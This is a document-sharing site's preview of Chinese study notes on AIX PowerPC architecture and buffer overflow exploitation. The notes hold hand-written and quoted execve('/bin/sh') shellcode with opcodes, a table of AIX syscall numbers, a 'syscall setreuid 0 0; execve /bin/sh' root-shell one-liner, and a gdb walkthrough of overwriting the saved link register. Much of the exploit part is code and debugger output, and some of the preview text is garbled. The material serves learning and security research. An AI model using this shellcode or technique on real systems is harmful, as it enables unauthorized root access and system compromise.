ImageVerifierCode 换一换
格式:DOC , 页数:27 ,大小:74.54KB ,
资源ID:3030814      下载积分:8 金币
验证码下载
登录下载
邮箱/手机:
验证码: 获取验证码
温馨提示:
支付成功后,系统会自动生成账号(用户名为邮箱或者手机号,密码是验证码),方便下次登录下载和查询订单;
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

开通VIP
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.zixin.com.cn/docdown/3030814.html】到电脑端继续下载(重复下载【60天内】不扣币)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  
声明  |  会员权益     获赠5币     写作写作

1、填表:    下载求助     留言反馈    退款申请
2、咨信平台为文档C2C交易模式,即用户上传的文档直接被用户下载,收益归上传人(含作者)所有;本站仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。所展示的作品文档包括内容和图片全部来源于网络用户和作者上传投稿,我们不确定上传用户享有完全著作权,根据《信息网络传播权保护条例》,如果侵犯了您的版权、权益或隐私,请联系我们,核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
3、文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为仲裁依据,个别因单元格分列造成显示页码不一将协商解决,平台无法对文档的真实性、完整性、权威性、准确性、专业性及其观点立场做任何保证或承诺,下载前须认真查看,确认无误后再购买,务必慎重购买;若有违法违纪将进行移交司法处理,若涉侵权平台将进行基本处罚并下架。
4、本站所有内容均由用户上传,付费前请自行鉴别,如您付费,意味着您已接受本站规则且自行承担风险,本站不进行额外附加服务,虚拟产品一经售出概不退款(未进行购买下载可退充值款),文档一经付费(服务费)、不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
5、如你看到网页展示的文档有www.zixin.com.cn水印,是因预览和防盗链等技术需要对页面进行转换压缩成图而已,我们并不对上传的文档进行任何编辑或修改,文档下载后都不会有水印标识(原文档上传前个别存留的除外),下载后原文更清晰;试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓;PPT和DOC文档可被视为“模板”,允许上传人保留章节、目录结构的情况下删减部份的内容;PDF文档不管是原文档转换或图片扫描而得,本站不作要求视为允许,下载前自行私信或留言给上传者【a199****6536】。
6、本文档所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用;网站提供的党政主题相关内容(国旗、国徽、党徽--等)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
7、本文档遇到问题,请及时私信或留言给本站上传会员【a199****6536】,需本站解决可联系【 微信客服】、【 QQ客服】,若有其他问题请点击或扫码反馈【 服务填表】;文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“【 版权申诉】”(推荐),意见反馈和侵权处理邮箱:1219186828@qq.com;也可以拔打客服电话:4008-655-100;投诉/维权电话:4009-655-100。

注意事项

本文(AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc)为本站上传会员【a199****6536】主动上传,咨信网仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知咨信网(发送邮件至1219186828@qq.com、拔打电话4008-655-100或【 微信客服】、【 QQ客服】),核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载【60天内】不扣币。 服务填表

AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc

1、AIX PowerPC体系构造及其溢出技术学习笔记12月12日11:40一、熟悉PowerPC体系及其精简指令集计算PowerPC体系构造是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之因此是 RISC,因素在于大某些指令在一种单一周期内执行,并且是定长32位指令,普通只执行一种单一操作(例如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,体现为5类重要指令:1、分支(branch)指令2、定点(fixed-point)指令3、浮点(floating-point)指令4、装载和存储指令5、解决器控制指令PowerPC应用级寄存器分为三类:通用

2、寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register FPR 和浮点状态与控制寄存器 Floating-Point Status and Control Register,FPSCR)和专用寄存器(special-purpose register,SPR)。gdb里info registers能看到38个寄存器,下面重要简介这几种惯用寄存器:通用寄存器用途:r0 在函数开始(function prologs)时使用。r1 堆栈指针,相称于ia32架构中esp寄存器,idapro把这个寄存器反汇编标记为sp。r2 内容表(

3、toc)指针,idapro把这个寄存器反汇编标记为rtoc。系统调用时,它包括系统调用号。r3 作为第一种参数和返回地址。r4-r10 函数或系统调用开始参数。r11 用在指针调用和当作某些语言环境指针。r12 它用在异常解决和glink(动态连接器)代码。r13 保存作为系统线程ID。r14-r31 作为本地变量,非易失性。专用寄存器用途:lr 链接寄存器,它用来存储函数调用结束处返回地址。ctr 计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。xer 定点异常寄存器,存储整数运算操作进位以及溢出信息。msr 机器状态寄存器,用来配备微解决器设定。cr 条件寄存器,它提成8个4位字

4、段,cr0-cr7,它反映了某个算法操作成果并且提供条件分支机制。寄存器r1、r14-r31是非易失性,这意味着它们值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必要恢复它值时才被解决。寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性,它们值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12也许会被交叉模块调用变化,因此函数在调用时候不能采用它们值。条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性。cr2、cr3和cr4是非易失性,函数如果要变化它们必要保存并恢复这些字段。在AIX上,svca指令(sc是P

5、owerPC助记符)用来表达系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用参数。在执行系统调用指令之前有两个额外先决条件:LR寄存器必要保存返回系统调用地址值并且在系统调用前执行crorc cr6,cr6,cr6指令。二、学习AIX PowerPC汇编由于对AIX PowerPC汇编很不熟,因此借助gcc-S来学习一下AIX汇编。二进制gcc可以从。先写一种最小C程序:/* setuid.c* Learn AIX PowerPC assemble*/#include ;int main() setuid(0);用gcc-S选项编译一下:bash-2.04$ gcc -S

6、setuid.c在当前目录得到setuid.s: .file setuid.c.toc.csect .textPRgcc2_compiled.:_gnu_compiled_c: .align 2 .globl main .globl .main.csect mainDSmain: .long .main,TOCtc0,0.csect .textPR.main: .extern _mulh .extern _mull .extern _divss .extern _divus .extern _quoss .extern _quous mflr 0 stw 31,-4(1) stw 0,8(1)

7、 stwu 1,-64(1) mr 31,1 bl ._main cror 31,31,31 li 3,0 bl .setuid cror 31,31,31L.2: lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blrLT.main: .long 0 .byte 0,0,32,97,128,1,0,1 .long LT.main-.main .short 4 .byte main .byte 31_section_.text:.csect .dataRW,3 .long _section_.text通过精简,发现如下这样格式就足够了:.globl .mai

8、n.csect .textPR.main: mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-64(1) mr 31,1 bl ._main cror 31,31,31 li 3,0 bl .setuid cror 31,31,31L.2: lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blr三、学习AIX PowerPCshellcodeB-r00tPowerPC/OS X (Darwin) Shellcode Assembly写非常通俗易懂,只可惜是OS X系统,但是当前咱们也可以依样画葫芦了:bash-2.04$ cat

9、simple_execve.s.globl .main.csect .textPR.main: xor. %r5,%r5,%r5 # 把r5寄存器清空,并且在cr寄存器设立相等标志 bnel .main # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环 mflr %r3 # 等价于mfspr r3,8,把lr寄存器值拷贝到r3。这里r3寄存器值就是这条指令地址 addi %r3,%r3,32 # 上一条指令到/bin/sh字符串有8条指令,当前r3是/bin/sh字符串开始地址 stw %r3,-8(%r1) # argv0 = string 把r3写入堆栈 s

10、tw %r5,-4(%r1) # argv1 = NULL 把0写入堆栈 subi %r4,%r1,8 # r4指向argv li %r2,3 # AIX 4.3execve中断号是3 crorc %cr6,%cr6,%cr6 # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assemblersvc指令简介都提到成功执行系统调用前提是一种无条件分支或CR指令。这条指令保证是CR指令。 svca 0 # execve(r3,r4,r5)string: # execve(path,argv,NULL) .asciz /bin/shbash-2.04$ gcc -o sim

11、ple_execve simple_execve.sbash-2.04$ ./simple_execve$对的执行了execve,用objdump查看一下它opcode:bash-2.04$ objdump -d simple_execve|more0308 ;: 10000308: 7c a5 2a 79 xor. r5,r5,r5 1000030c: 40 82 ff fd bnel 10000308 ; 10000310: 7c 68 02 a6 mflr r3 10000314: 38 63 00 20 cal r3,32(r3) 10000318: 90 61 ff f8 st r3

12、,-8(r1) 1000031c: 90 a1 ff fc st r5,-4(r1) 10000320: 38 81 ff f8 cal r4,-8(r1) 10000324: 38 40 00 03 lil r2,3 10000328: 4c c6 33 42 crorc 6,6,6 1000032c: 44 00 00 02 svca 0 10000330: 2f 62 69 6e cmpi 6,r2,26990 10000334: 2f 73 68 00 cmpi 6,r19,26624可以看到有好几条指令opcode包括了0,这对于strcpy等字符串操作函数导致溢出会被截断,因此需要

13、编码或者相应指令替代。但是咱们注意到svca指令中间两个字节包括了0,幸好这两个字节是保存字段,并没有被使用,可以用非0字节代替。PowerPC空指令nopopcode是0x60000000,背面三个字节0也是保存项,也可以用0x60606060来代替。lsd提供了一种可用shellcode:/* shellcode.c* ripped from lsd*/char shellcode = /* 12*4+8 bytes */ x7cxa5x2ax79 /* xor. r5,r5,r5 */ x40x82xffxfd /* bnel ; */ x7fxe8x02xa6 /* mflr r31

14、*/ x3bxffx01x20 /* cal r31,0x120(r31) */ x38x7fxffx08 /* cal r3,-248(r31) */ x38x9fxffx10 /* cal r4,-240(r31) */ x90x7fxffx10 /* st r3,-240(r31) */ x90xbfxffx14 /* st r5,-236(r31) */ x88x5fxffx0f /* lbz r2,-241(r31) */ x98xbfxffx0f /* stb r5,-241(r31) */ x4cxc6x33x42 /* crorc cr6,cr6,cr6 */ x44xffxf

15、fx02 /* svca */ /bin/sh x03 ;int main(void) int jump2=(int)shellcode,0; (*(void (*)()jump)();编译后,用IDAPro反汇编,在Names window点击shellcode,并且按c强制反汇编:.data:06D8 shellcode: # CODE XREF:.data:06DCp.data:06D8 # DATA XREF:.data:shellcode_TCo.data:06D8 7C A5 2A 79 xor. r5,r5,r5 # 把r5寄存器清空,并且在cr寄存器设立相等标志.data:06

16、DC 40 82 FF FD bnel shellcode # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环.data:06E0 7F E8 02 A6 mflr r31 # 等价于mfspr r31,8,这里把lr寄存器值拷贝到r31.data:06E4 3B FF 01 20 addi r31,r31,0x120 # r31等于.data:0800.data:06E8 38 7F FF 08 subi r3,r31,0xF8 # r3等于.data:0708.data:06EC 38 9F FF 10 subi r4,r31,0xF0 # r4等于.data

17、:0710.data:06F0 90 7F FF 10 stw r3,-0xF0(r31) # 把地址.data:0708放到.data:0710.data:06F4 90 BF FF 14 stw r5,-0xEC(r31) # 把0放到.data:0714.data:06F8 88 5F FF 0F lbz rtoc,-0xF1(r31) # 读入execve中断号到r2寄存器.data:06FC 98 BF FF 0F stb r5,-0xF1(r31) # .data:070F写入一种字节0.data:0700 4C C6 33 42 crorc 4*cr1+eq,4*cr1+eq,4

18、*cr1+eq # Condition Register OR with Comlement.data:0700 # 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?.data:0704 44 .byte 0x44 # execve(r3,r4,r5).data:0705 FF .byte 0xFF # execve(path,argv,NULL).data:0706 FF .byte 0xFF.data:0707 02 .byte 2.data:0708 2F .byte 0x2F # /.data:0709 62 .byte 0x62 # b.data:070A

19、 69 .byte 0x69 # i.data:070B 6E .byte 0x6E # n.data:070C 2F .byte 0x2F # /.data:070D 73 .byte 0x73 # s.data:070E 68 .byte 0x68 # h.data:070F 03 .byte 3至此,咱们理解了AIX PowerPC下如何简朴调试shellcode。有一种很大问题,AIX各系统调用号随系统版本不断变化,这给写通用shellcode导致很大困难,watercloud整顿过各系统版本一某些系统调用号7:Aix5.1 seteuid 0xb6 setreuid 0xb7 exe

20、cve 0x5Aix4.3 seteuid 0x92 setreuid 0x96 execve 0x3 Aix4.3.3 seteuid 0x92/0x93 setuid 0x93/0x94 setreuid 0x96/0x97 execve 0x4/0x3Aix4.2 setuid 0x71 execve 0x2Aix4.3 setregid:?Aix4.3.3 setregid:248/247Aix5.1 setregid:?Aix5.2 execve:? setreuid:?setregid:?这个表并不是很全,有环境朋友可以继续修改补全。此外Aix提供了一种syscall命令,如果咱们

21、拿到了euid=0就权限可以这样使得uid=0了:/usr/bin/syscall setreuid 0 0 ;execve /bin/sh四、学习AIX PowerPC溢出技术要学习溢出技术就必要理解堆栈构造,PowerPC堆栈构造和ia32有很大不同,PowerPC没有类似ia32里ebp这个指针,它只使用r1寄存器把整个堆栈构成一种单向链表,其增长方向是从高地址到低地址,而本地变量增长方向也是从低地址到高地址,这就给溢出获得控制技术提供了保证。32位PowerPC堆栈构造如下图: . 调用前堆栈 . . 调用后堆栈 . . . . . | | | | +-+- +-+- | Parame

22、ter area | | | Parameter area | | +-+ +-调用函数 +-+ +-调用函数 | Linkage area | | | Linkage area | |SP -;+-+- +-+- | 堆栈增长方向 | | Saved registers| | . | . +-+ | . v . | Local variables| | +-+ +-被调函数 | Parameter area | | +-+ | | Linkage area | | SP -;+-+- | 堆栈增长方向 | . | . . v .每个PowerPC栈帧数据包括4个某些:链接区、参数区、本地变量

23、和寄存器区。链接区保存了被调函数和调用函数某些值,它构造如下: +24+-+ | Saved TOC | +20+-+ | Reserved | +16+-+ | Reserved | +12+-+ | Saved LR | +8+-+ | Saved CR | +4+-+ | Saved SP |SP -;+-+被调函数链接寄存器(LR)保存到8(SP)。被调函数也许把条件寄存器(CR)保存到4(SP),如果链接寄存器已经保存,这也就没有必要了。堆栈指针永远保存调用函数栈帧,这样被调函数就可以找到调用函数参数区,但是这也意味着PowerPC不也许有push和pop这样对堆栈操作。全局链接代码

24、会把TOC指针保存到20(SP)地方。参数区用来传递其他被调函数参数。当前函数参数是通过上一函数(调用者)参数区和被设计用来传递参数通用寄存器中获取。如果本地变量太多,无法在非易失性寄存器中存储,那么就会使用基于堆栈本地变量。它大小在编译时候拟定,是不可修改。寄存器区包括非易失性寄存器值。当被调函数使用这些寄存器作为本地变量,而调用函数也许会用到同样寄存器,那么这些寄存器信息需要在调用函数修改它们之前保存。固然,被调函数返回时候需要恢复这些寄存器值。ia32中当函数返回时,普通均有如下三条指令:mov esp,ebp ;堆栈指针esp指向前一种栈帧pop ebpret ;执行esp+4保存返回

25、地址AIX PowerPC中当函数返回时,普通有如下几条指令:lwz r1,0(r1) # 堆栈指针r1指向前一种栈帧lwz r0,8(r1) # r0等于堆栈里保存lr值mtlr r0 # lr=r0lwz r31,-4(r1) # blr # 跳到lr执行可以看到虽然AIX PowerPC堆栈构造和ia32不同,但是溢出技术手法是同样。ia32是覆盖当前ebp+4保存返回地址,当函数返回时候就会跳到咱们指定地址执行;AIX PowerPC要覆盖到下一种栈帧保存lr地址,当函数返回时候也会跳到咱们指定地址执行。文字描述无法实际理解,自己动手一下才会真正领略,下面用一种简朴程序走一遍流程:ba

26、sh-2.04$ cat simple_overflow.c/* simple_overflow.c* Simple program to demonstrate buffer overflows* on the PowerPC architecture.*/#include ;#include ;char largebuff =3456=PRESERVEDSPACE=ABCD;int main (void) char smallbuff16; strcpy (smallbuff,largebuff);bash-2.04$ gcc -o simple_overflow simple_overf

27、low.cbash-2.04$ gdb simple_overflowGNU gdb 5.0Copyright Free Software Foundation,Inc.GDB is free software,covered by the GNU General Public License,and you arewelcome to change it and/or distribute copies of it under certain conditions.Type show copying to see the conditions.There is absolutely no w

28、arranty for GDB. Type show warranty for details.This GDB was configured as powerpc-ibm-aix4.3.2.0.(gdb) rStarting program:/home/san/simple_overflowProgram received signal SIGSEGV,Segmentation fault.0x41424344 in ?() from (unknown load module)(gdb) i regr0 0x41424344 r1 0x2ff22ba0 r2 0x0790 r3 0x2ff2

29、2b88 r4 0x0734 r5 0x2ff22bac r6 0x0 0r7 0x0 0r8 0x0 0r9 0x80808080 -r10 0x7f7f7f7f r11 0x4 4r12 0x80808080 -r13 0xdeadbeef -r14 0x1 1r15 0x2ff22be8 r16 0x2ff22bf0 r17 0x0 0r18 0xdeadbeef -r19 0xdeadbeef -r20 0xdeadbeef -r21 0xdeadbeef -r22 0xdeadbeef -r23 0xdeadbeef -r24 0xdeadbeef -r25 0xdeadbeef -

30、r26 0xdeadbeef -r27 0xdeadbeef -r28 0xdeadbeef -r29 0xdeadbeef -r30 0xdeadbeef -r31 0x53455256 pc 0x41424344 ps 0x4000d030 cr 0x22222242 lr 0x41424344 ctr 0x4 4xer 0x0 0pc寄存器已经被覆盖为ABCD,跟着程序一步步走走,看看pc是怎么变为ABCD:(gdb) disas mainDump of assembler code for function main:0x10000308 ;: mflr r00x1000030c ;:

31、 stw r31,-4(r1)0x10000310 ;: stw r0,8(r1)0x10000314 ;: stwu r1,-80(r1)0x10000318 ;: mr r31,r10x1000031c ;: bl 0x100004c8 ;0x10000320 ;: crmove 4*cr7+so,4*cr7+so0x10000324 ;: addi r3,r31,560x10000328 ;: lwz r4,32(r2)0x1000032c ;: bl 0x10000520 ;0x10000330 ;: crmove 4*cr7+so,4*cr7+so0x10000334 ;: lwz

32、r1,0(r1)0x10000338 ;: lwz r0,8(r1)0x1000033c ;: mtlr r00x10000340 ;: lwz r31,-4(r1)0x10000344 ;: blr0x10000348 ;: .long 0x00x1000034c ;: .long 0x20610x10000350 ;: lwz r0,1(r1)0x10000354 ;: .long 0x400x10000358 ;: .long 0x46d610x1000035c ;: xori r14,r11,7936End of assembler dump.(gdb) b mainBreakpoin

33、t 1 at 0x1000031c(gdb) rThe program being debugged has been started already.Start it from the beginning?(y or n) yStarting program:/home/san/simple_overflowBreakpoint 1,0x1000031c in main ()(gdb) display/i $pc1:x/i $pc 0x1000031c ;: bl 0x100004c8 ;(gdb) ni0x10000320 in main ()1:x/i $pc 0x10000320 ;:

34、 crmove 4*cr7+so,4*cr7+so(gdb) x/20x $r10x2ff22b50: 0x2ff22ba0 0x00000000 0x10000320 0x000000000x2ff22b60: 0x2ff22ba0 0x00000000 0x00000000 0x000000000x2ff22b70: 0x00000000 0x00000000 0x00000000 0x000000000x2ff22b80: 0x00000000 0x00000000 0x00000000 0x000000000x2ff22b90: 0x00000000 0x00000000 0x00000000 0xdeadbeef(gdb)

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        获赠5币

©2010-2024 宁波自信网络信息技术有限公司  版权所有

客服电话:4008-655-100  投诉/维权电话:4009-655-100

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :gzh.png    weibo.png    LOFTER.png 

客服